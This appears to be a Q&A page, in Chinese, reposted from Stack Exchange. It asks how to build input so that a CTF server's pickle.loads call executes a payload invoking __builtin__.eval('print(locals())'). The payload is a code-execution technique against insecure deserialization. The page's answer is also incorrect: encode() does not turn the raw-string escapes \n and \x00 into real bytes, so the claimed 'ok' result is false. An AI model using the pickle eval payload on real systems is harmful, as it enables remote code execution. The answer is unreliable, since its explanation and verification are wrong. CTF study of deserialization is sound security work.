You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

CTF场景下Pickle反序列化的输入构造问题

CTF Pickle输入构造问题

场景与需求

正在参与一场CTF竞赛,服务器端执行以下代码:

import pickle
pickle.loads(input().split()[0].encode())

需要让pickle.loads加载的字节串为:

b'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.'

即需要构造输入字符串,使得input().split()[0].encode()的结果等于上述目标字节串,同时满足以下测试代码输出"ok":

data = ?
x = data.split()[0]
if x.encode() == b'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.': 
    print("ok")

构造思路

目标字节串中包含换行符\n,而input()获取的字符串如果直接包含\n,会被split()当作分隔符,导致split()[0]只取到换行前的部分。因此需要将字节串中的\n在输入字符串中表示为转义序列\\n,这样调用encode()时,\\n会被编码为\n字节;同时要确保输入字符串中没有其他空白字符,避免split()截断内容。

最终输入内容

构造的输入字符串为:

c__builtin__\\neval\\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.

代入测试代码验证:

data = r'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.'
x = data.split()[0]
if x.encode() == b'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.': 
    print("ok")

运行后会输出"ok",符合要求。

内容的提问来源于stack exchange,提问作者Itamar Dalal

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.30 18:45:01